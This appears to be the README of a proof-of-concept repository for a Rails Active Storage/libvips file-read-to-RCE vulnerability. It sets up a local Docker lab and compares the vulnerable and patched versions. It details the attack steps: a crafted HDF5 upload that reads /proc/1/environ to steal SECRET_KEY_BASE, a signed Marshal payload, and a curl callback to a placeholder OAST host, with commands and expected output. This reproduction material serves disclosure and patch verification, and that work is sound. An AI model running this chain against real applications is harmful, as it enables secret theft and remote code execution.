
PoC para CVE-2026-66066 em Ruby on Rails
Este repositório reproduz a cadeia de leitura-de-arquivo-para-RCE do Active Storage do Rails descrita em GHSA-xr9x-r78c-5hrm contra o Rails 8.1.3, a versão afetada mais recente do Rails 8.1. O Rails 8.1.3.1 é o controle corrigido.
Use-o apenas no laboratório local descartável descrito aqui. O driver HTTP recusa alvos fora do loopback (embora seja trivial modificar o código Python para testes autorizados contra outros alvos).
O alvo é uma aplicação Rails convencional. Sua imagem final contém:
ruby:3.4.10-slim fixada;rails _VERSION_ new;curl, libjemalloc2, libvips,
e sqlite3;./bin/thrust ./bin/rails server; eUpload normal com um único anexo do Active Storage, ações HTML
comuns new, create e show, e uma variante de imagem PNG.Ele não contém um construtor de artefatos, artefato de upload, driver de exploit,
construtor Marshal, código de callback, endpoint de diagnóstico, rastreamento de loader,
script de boot personalizado, fixture de segredo do alvo ou rota exclusiva de exploit. Ele não
define VIPS_TRACE, não reordena o ambiente do processo, não substitui o serializador
do Active Storage, nem configura um processador de imagem não padrão.
O .dockerignore raiz envia apenas Dockerfile e overlay/ para o build.
Os scripts Python do lado do host e todos os artefatos gerados são excluídos do
contexto de build do Docker, não apenas omitidos da etapa final de cópia.
O overlay completo do alvo consiste em cinco arquivos comuns:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
A página de exibição usa a transformação normal mínima:
<%= image_tag @upload.avatar.variant(format: :png) %>
Uma nova aplicação Rails intocada não possui modelo ou página de aplicação que aceite um anexo, então esses cinco arquivos são a funcionalidade mínima de aplicação necessária para representar a condição de upload de imagem não confiável do advisory.
Pré-requisitos são Docker, OpenSSL, Python 3 e h5py para o construtor
de artefatos.
No terminal 1:
./run_lab.sh 8.1.3
O script constrói minimal-rails-vips:8.1.3, gera um
SECRET_KEY_BASE efêmero, a menos que um já seja fornecido, publica a aplicação
apenas em 127.0.0.1:3000 e executa o entrypoint gerado pela imagem e o
comando padrão. Nenhum diretório de origem ou artefato é montado no alvo.
Se a porta 3000 já estiver ocupada, selecione outra porta de loopback sem alterar a imagem:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Use a mesma porta no --target do driver.
No terminal 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://SEU-DOMINIO-OAST.example/callback
rails_vips_oast_poc.py é um construtor e driver HTTP de uso único. A menos que
--artifact seja fornecido, ele constrói o upload em um diretório temporário
privado, o mantém durante toda a sequência de requisições e o remove quando
o processo termina. Ele constrói ambos os estágios em vez de descompactar um payload
estático:
h5py para criar um arquivo MATLAB/HDF5 com um bloco de usuário de 512 bytes.uint8 little-endian 1 × 1024 chamado environment./proc/1/environ, deslocamento
zero, com uma extensão limitada de 1.024 bytes.MATLAB_class="uint8" e escreve o cabeçalho MATLAB 5.0 usado pelo
sniffer matload do libvips.O programa RCE embutido é fixado em /usr/bin/curl com um array de argumentos
estruturado. Ele realiza um GET para a URL OAST configurada e envia apenas
o token de correlação aleatório rails_ghsa_xr9x. Ele não usa um shell e
não inclui segredos recuperados, saída de comandos, conteúdo de arquivos ou um
identificador do alvo no callback.
Os parâmetros do artefato são:
--external-path: arquivo absoluto do lado do alvo, padrão /proc/1/environ;--bytes: extensão externa limitada de 128 a 4096, padrão 1024;--oast: URL base do callback embutida no payload; e--nonce: nonce hexadecimal opcional de 16 bytes para um artefato reproduzível.A URL OAST padrão é segura para loopback. Forneça uma URL de receptor acessível a partir do contêiner para a verificação de ponta a ponta.
Para reter o upload gerado para inspeção ou reutilização, adicione um caminho de artefato:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://SEU-DOMINIO-OAST.example/callback \
--artifact environment-read.bmp
Um --artifact existente é validado e reutilizado. Nesse caso, --oast, quando
fornecido, deve corresponder à URL de callback embutida. Adicione --force para reconstruir e
substituí-lo atomicamente pelos parâmetros atuais do construtor.
Para criação de artefatos sem nenhuma requisição HTTP, o construtor companheiro ainda está disponível:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://SEU-DOMINIO-OAST.example/callback
--target tem como padrão http://127.0.0.1:3000 e é restrito a
loopback literal ou localhost.
A saída vulnerável esperada inclui:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Compare oast_nonce no terminal com o parâmetro de consulta
rails_ghsa_xr9x=<nonce> recebido pelo serviço OAST. O
HTTP 500 da requisição final de representação é esperado: o callback
ocorre enquanto o Marshal Hash autenticado está sendo reconstruído, antes de a
transformação geral falhar subsequentemente.
A parte do construtor requer h5py; as partes HTTP e criptográficas usam apenas
a biblioteca padrão do Python:
image/bmp e então envia os bytes
construídos.matload não fuzzeada. O PNG
retornado expõe os bytes do dataset externo, incluindo o SECRET_KEY_BASE
de runtime.ActiveStorage, lê o payload
Marshal já construído do artefato, o assina para o propósito variation e
solicita a URL de representação resultante./usr/bin/curl embutido e produz
o callback OOB cego.O alvo não contribui com endpoint auxiliar ou gadget de assinatura. As classes Ruby
usadas pelo grafo serializado vêm de dependências já resolvidas por um Gemfile
rails new padrão; a aplicação não as requer nem configura. O processamento de
imagem permanece no processador padrão :vips do Rails durante todo o processo.
Pare o terminal 1 com Ctrl-C e então execute:
./run_lab.sh 8.1.3.1
Execute novamente o mesmo comando do driver combinado. Se um artefato foi retido, ele pode
ser reutilizado passando o mesmo caminho --artifact. O resultado corrigido deve
parar em:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
Nenhum pixel de ambiente é retornado, o payload embutido nunca é assinado ou
enviado, e nenhum callback OAST ocorre. O Active Storage 8.1.3.1 ativa
o bloqueio de operações não confiáveis do libvips, então matload é rejeitado.
A configuração final de runtime deve ser a gerada:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Esperado:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspecione o único script e confirme que os arquivos do PoC estão ausentes:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
A única entrada de script é o /rails/script/.keep criado pelo gerador.
Ferramentas de build e CLIs opcionais de imagem também ficam fora do runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips está presente como uma biblioteca de runtime compartilhada, embora suas ferramentas CLI
não estejam instaladas. O grafo de dependências padrão do Debian fornece o suporte
vinculado aos formatos MAT/HDF5.
Dockerfile gera e empacota o alvo mínimo padrão..dockerignore impede que arquivos do lado do atacante entrem no contexto
de build.overlay/ contém apenas os cinco arquivos normais da aplicação Rails.run_lab.sh constrói e inicia o alvo sem executar o PoC.rails_vips_oast_poc.py constrói a imagem de leitura de arquivo HDF5 e o payload
OOB configurável, conduz o fluxo HTTP normal, recupera o segredo do verificador,
assina o payload embutido e o aciona.